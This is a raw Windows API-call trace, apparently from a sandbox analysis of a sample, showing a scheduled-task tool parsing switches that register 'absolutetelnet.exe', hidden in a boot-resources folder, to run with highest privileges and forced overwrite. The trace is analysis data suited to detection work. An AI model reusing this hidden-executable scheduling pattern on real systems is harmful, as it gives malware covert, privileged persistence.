[0129.842] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.842] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|change|") returned 8 [0129.842] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tr|") returned 4 [0129.842] lstrlenW (lpString="|change|") returned 8 [0129.842] lstrlenW (lpString="|tr|") returned 4 [0129.842] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0129.842] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.842] lstrlenW (lpString="run") returned 3 [0129.842] lstrlenW (lpString="run") returned 3 [0129.842] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.842] lstrlenW (lpString="tr") returned 2 [0129.842] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.842] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|run|") returned 5 [0129.842] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tr|") returned 4 [0129.842] lstrlenW (lpString="|run|") returned 5 [0129.843] lstrlenW (lpString="|tr|") returned 4 [0129.843] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0129.843] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.843] lstrlenW (lpString="end") returned 3 [0129.843] lstrlenW (lpString="end") returned 3 [0129.843] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.843] lstrlenW (lpString="tr") returned 2 [0129.843] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.843] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|end|") returned 5 [0129.843] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tr|") returned 4 [0129.843] lstrlenW (lpString="|end|") returned 5 [0129.843] lstrlenW (lpString="|tr|") returned 4 [0129.843] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0129.843] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.843] lstrlenW (lpString="showsid") returned 7 [0129.843] lstrlenW (lpString="showsid") returned 7 [0129.843] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.843] lstrlenW (lpString="tr") returned 2 [0129.843] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.843] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|showsid|") returned 9 [0129.843] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|tr|") returned 4 [0129.843] lstrlenW (lpString="|showsid|") returned 9 [0129.843] lstrlenW (lpString="|tr|") returned 4 [0129.843] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0129.843] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.843] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.843] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.844] lstrlenW (lpString="/tr") returned 3 [0129.844] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0129.844] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.844] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.844] lstrlenW (lpString="/tr") returned 3 [0129.844] GetProcessHeap () returned 0x1157a5a0000 [0129.844] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x8) returned 0x1157a5a3b90 [0129.844] GetProcessHeap () returned 0x1157a5a0000 [0129.844] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab2d0 [0129.844] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.844] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.844] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0129.844] lstrlenW (lpString="-/") returned 2 [0129.844] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.844] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.844] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.844] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.844] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0129.844] StrChrIW (lpStart="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'", wMatch=0x3a) returned=":\\Boot\\Resources\\en-US\\absolutetelnet.exe'" [0129.844] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0129.844] GetProcessHeap () returned 0x1157a5a0000 [0129.844] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5a3bb0 [0129.844] _memicmp (_Buf1=0x1157a5a3bb0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.844] GetProcessHeap () returned 0x1157a5a0000 [0129.844] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0xe) returned 0x1157a5a3bd0 [0129.844] GetProcessHeap () returned 0x1157a5a0000 [0129.844] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x18) returned 0x1157a5aa990 [0129.844] _memicmp (_Buf1=0x1157a5aa990, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.844] GetProcessHeap () returned 0x1157a5a0000 [0129.844] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x5c) returned 0x1157a5ac3f0 [0129.844] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.844] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.844] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.845] lstrlenW (lpString="'C") returned 2 [0129.845] lstrlenW (lpString="-/") returned 2 [0129.845] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.845] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.845] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.845] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.845] lstrlenW (lpString="'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'") returned 44 [0129.845] GetProcessHeap () returned 0x1157a5a0000 [0129.845] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x5a) returned 0x1157a5ac070 [0129.845] GetProcessHeap () returned 0x1157a5a0000 [0129.845] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab6c0 [0129.845] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.845] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.845] lstrlenW (lpString="/rl") returned 3 [0129.845] lstrlenW (lpString="-/") returned 2 [0129.845] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.845] lstrlenW (lpString="?") returned 1 [0129.845] lstrlenW (lpString="?") returned 1 [0129.845] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.845] lstrlenW (lpString="rl") returned 2 [0129.845] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.845] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|?|") returned 3 [0129.845] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|rl|") returned 4 [0129.845] lstrlenW (lpString="|?|") returned 3 [0129.845] lstrlenW (lpString="|rl|") returned 4 [0129.845] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.845] lstrlenW (lpString="create") returned 6 [0129.845] lstrlenW (lpString="create") returned 6 [0129.845] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.845] lstrlenW (lpString="rl") returned 2 [0129.845] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.846] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|create|") returned 8 [0129.846] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|rl|") returned 4 [0129.846] lstrlenW (lpString="|create|") returned 8 [0129.846] lstrlenW (lpString="|rl|") returned 4 [0129.846] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0129.846] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.846] lstrlenW (lpString="delete") returned 6 [0129.846] lstrlenW (lpString="delete") returned 6 [0129.846] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.846] lstrlenW (lpString="rl") returned 2 [0129.846] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.846] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|delete|") returned 8 [0129.846] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|rl|") returned 4 [0129.846] lstrlenW (lpString="|delete|") returned 8 [0129.846] lstrlenW (lpString="|rl|") returned 4 [0129.846] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0129.846] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.846] lstrlenW (lpString="query") returned 5 [0129.846] lstrlenW (lpString="query") returned 5 [0129.846] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.846] lstrlenW (lpString="rl") returned 2 [0129.846] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.846] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|query|") returned 7 [0129.846] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|rl|") returned 4 [0129.846] lstrlenW (lpString="|query|") returned 7 [0129.847] lstrlenW (lpString="|rl|") returned 4 [0129.847] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0129.847] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.847] lstrlenW (lpString="change") returned 6 [0129.847] lstrlenW (lpString="change") returned 6 [0129.847] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.847] lstrlenW (lpString="rl") returned 2 [0129.847] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.847] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|change|") returned 8 [0129.847] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|rl|") returned 4 [0129.847] lstrlenW (lpString="|change|") returned 8 [0129.847] lstrlenW (lpString="|rl|") returned 4 [0129.847] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0129.847] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.847] lstrlenW (lpString="run") returned 3 [0129.847] lstrlenW (lpString="run") returned 3 [0129.847] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.847] lstrlenW (lpString="rl") returned 2 [0129.847] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.847] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|run|") returned 5 [0129.847] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|rl|") returned 4 [0129.847] lstrlenW (lpString="|run|") returned 5 [0129.847] lstrlenW (lpString="|rl|") returned 4 [0129.847] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0129.847] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.847] lstrlenW (lpString="end") returned 3 [0129.848] lstrlenW (lpString="end") returned 3 [0129.848] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.848] lstrlenW (lpString="rl") returned 2 [0129.848] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.848] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|end|") returned 5 [0129.848] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|rl|") returned 4 [0129.848] lstrlenW (lpString="|end|") returned 5 [0129.848] lstrlenW (lpString="|rl|") returned 4 [0129.848] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0129.848] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.848] lstrlenW (lpString="showsid") returned 7 [0129.848] lstrlenW (lpString="showsid") returned 7 [0129.848] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.848] lstrlenW (lpString="rl") returned 2 [0129.848] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.848] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|showsid|") returned 9 [0129.848] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x5, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|rl|") returned 4 [0129.848] lstrlenW (lpString="|showsid|") returned 9 [0129.848] lstrlenW (lpString="|rl|") returned 4 [0129.848] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0129.848] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.848] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.848] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.848] lstrlenW (lpString="/rl") returned 3 [0129.848] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0129.848] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.848] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.849] lstrlenW (lpString="/rl") returned 3 [0129.849] GetProcessHeap () returned 0x1157a5a0000 [0129.849] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x8) returned 0x1157a5a3bf0 [0129.849] GetProcessHeap () returned 0x1157a5a0000 [0129.849] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab870 [0129.849] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.849] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.849] lstrlenW (lpString="HIGHEST") returned 7 [0129.849] lstrlenW (lpString="-/") returned 2 [0129.849] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0129.849] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.849] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.849] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.849] lstrlenW (lpString="HIGHEST") returned 7 [0129.849] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0129.849] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.849] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.849] lstrlenW (lpString="HIGHEST") returned 7 [0129.849] GetProcessHeap () returned 0x1157a5a0000 [0129.849] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x10) returned 0x1157a5aa8f0 [0129.849] GetProcessHeap () returned 0x1157a5a0000 [0129.849] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab7b0 [0129.849] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.849] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.849] lstrlenW (lpString="/f") returned 2 [0129.849] lstrlenW (lpString="-/") returned 2 [0129.849] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.849] lstrlenW (lpString="?") returned 1 [0129.849] lstrlenW (lpString="?") returned 1 [0129.849] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.849] lstrlenW (lpString="f") returned 1 [0129.849] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.850] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|?|") returned 3 [0129.850] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|f|") returned 3 [0129.850] lstrlenW (lpString="|?|") returned 3 [0129.850] lstrlenW (lpString="|f|") returned 3 [0129.850] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0129.850] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.850] lstrlenW (lpString="create") returned 6 [0129.850] lstrlenW (lpString="create") returned 6 [0129.850] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.850] lstrlenW (lpString="f") returned 1 [0129.850] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.850] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|create|") returned 8 [0129.850] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|f|") returned 3 [0129.850] lstrlenW (lpString="|create|") returned 8 [0129.850] lstrlenW (lpString="|f|") returned 3 [0129.850] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0129.850] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.850] lstrlenW (lpString="delete") returned 6 [0129.850] lstrlenW (lpString="delete") returned 6 [0129.850] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.850] lstrlenW (lpString="f") returned 1 [0129.851] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.851] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|delete|") returned 8 [0129.851] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|f|") returned 3 [0129.851] lstrlenW (lpString="|delete|") returned 8 [0129.851] lstrlenW (lpString="|f|") returned 3 [0129.851] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0129.851] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.851] lstrlenW (lpString="query") returned 5 [0129.851] lstrlenW (lpString="query") returned 5 [0129.851] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.851] lstrlenW (lpString="f") returned 1 [0129.851] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.851] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x8, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|query|") returned 7 [0129.851] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|f|") returned 3 [0129.851] lstrlenW (lpString="|query|") returned 7 [0129.851] lstrlenW (lpString="|f|") returned 3 [0129.851] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0129.851] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.851] lstrlenW (lpString="change") returned 6 [0129.851] lstrlenW (lpString="change") returned 6 [0129.851] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.851] lstrlenW (lpString="f") returned 1 [0129.853] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.854] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|change|") returned 8 [0129.854] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|f|") returned 3 [0129.854] lstrlenW (lpString="|change|") returned 8 [0129.854] lstrlenW (lpString="|f|") returned 3 [0129.854] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0129.854] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.854] lstrlenW (lpString="run") returned 3 [0129.854] lstrlenW (lpString="run") returned 3 [0129.854] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.854] lstrlenW (lpString="f") returned 1 [0129.854] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.854] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|run|") returned 5 [0129.854] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|f|") returned 3 [0129.854] lstrlenW (lpString="|run|") returned 5 [0129.854] lstrlenW (lpString="|f|") returned 3 [0129.854] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0129.854] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.854] lstrlenW (lpString="end") returned 3 [0129.854] lstrlenW (lpString="end") returned 3 [0129.854] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.854] lstrlenW (lpString="f") returned 1 [0129.854] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.854] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0x6, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|end|") returned 5 [0129.854] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|f|") returned 3 [0129.854] lstrlenW (lpString="|end|") returned 5 [0129.854] lstrlenW (lpString="|f|") returned 3 [0129.854] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0129.855] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.855] lstrlenW (lpString="showsid") returned 7 [0129.855] lstrlenW (lpString="showsid") returned 7 [0129.855] _memicmp (_Buf1=0x1157a5a42d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.855] lstrlenW (lpString="f") returned 1 [0129.855] _memicmp (_Buf1=0x1157a5a4310, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.855] _vsnwprintf (in: _Buffer=0x1157a5a4350, _BufferCount=0xa, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|showsid|") returned 9 [0129.855] _vsnwprintf (in: _Buffer=0x1157a5a4330, _BufferCount=0x4, _Format="|%s|", _ArgList=0x64827f558 | out: _Buffer="|f|") returned 3 [0129.855] lstrlenW (lpString="|showsid|") returned 9 [0129.855] lstrlenW (lpString="|f|") returned 3 [0129.855] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0129.855] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.855] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.855] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.855] lstrlenW (lpString="/f") returned 2 [0129.855] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0129.855] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.855] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.855] lstrlenW (lpString="/f") returned 2 [0129.855] GetProcessHeap () returned 0x1157a5a0000 [0129.855] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x6) returned 0x1157a5a3c10 [0129.855] GetProcessHeap () returned 0x1157a5a0000 [0129.855] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab300 [0129.855] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.855] GetProcessHeap () returned 0x1157a5a0000 [0129.855] GetProcessHeap () returned 0x1157a5a0000 [0129.855] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a42f0) returned 1 [0129.855] GetProcessHeap () returned 0x1157a5a0000 [0129.855] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a42f0) returned 0x8 [0129.856] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5a42f0) returned 1 [0129.856] GetProcessHeap () returned 0x1157a5a0000 [0129.856] GetProcessHeap () returned 0x1157a5a0000 [0129.856] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab3f0) returned 1 [0129.856] GetProcessHeap () returned 0x1157a5a0000 [0129.856] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab3f0) returned 0x20 [0129.857] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5ab3f0) returned 1 [0129.857] GetProcessHeap () returned 0x1157a5a0000 [0129.857] GetProcessHeap () returned 0x1157a5a0000 [0129.857] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab990) returned 1 [0129.857] GetProcessHeap () returned 0x1157a5a0000 [0129.857] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab990) returned 0x1e [0129.857] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5ab990) returned 1 [0129.857] GetProcessHeap () returned 0x1157a5a0000 [0129.857] GetProcessHeap () returned 0x1157a5a0000 [0129.857] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab540) returned 1 [0129.857] GetProcessHeap () returned 0x1157a5a0000 [0129.857] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab540) returned 0x20 [0129.858] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5ab540) returned 1 [0129.858] GetProcessHeap () returned 0x1157a5a0000 [0129.858] GetProcessHeap () returned 0x1157a5a0000 [0129.858] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a3b50) returned 1 [0129.858] GetProcessHeap () returned 0x1157a5a0000 [0129.858] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a3b50) returned 0x8 [0129.858] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5a3b50) returned 1 [0129.858] GetProcessHeap () returned 0x1157a5a0000 [0129.858] GetProcessHeap () returned 0x1157a5a0000 [0129.858] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab840) returned 1 [0129.858] GetProcessHeap () returned 0x1157a5a0000 [0129.858] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab840) returned 0x20 [0129.858] RtlFreeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, BaseAddress=0x1157a5ab840) returned 1 [0129.858] GetProcessHeap () returned 0x1157a5a0000 [0129.859] GetProcessHeap () returned 0x1157a5a0000 [0129.859] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a3b70) returned 1 [0129.859] GetProcessHeap () returned 0x1157a5a0000 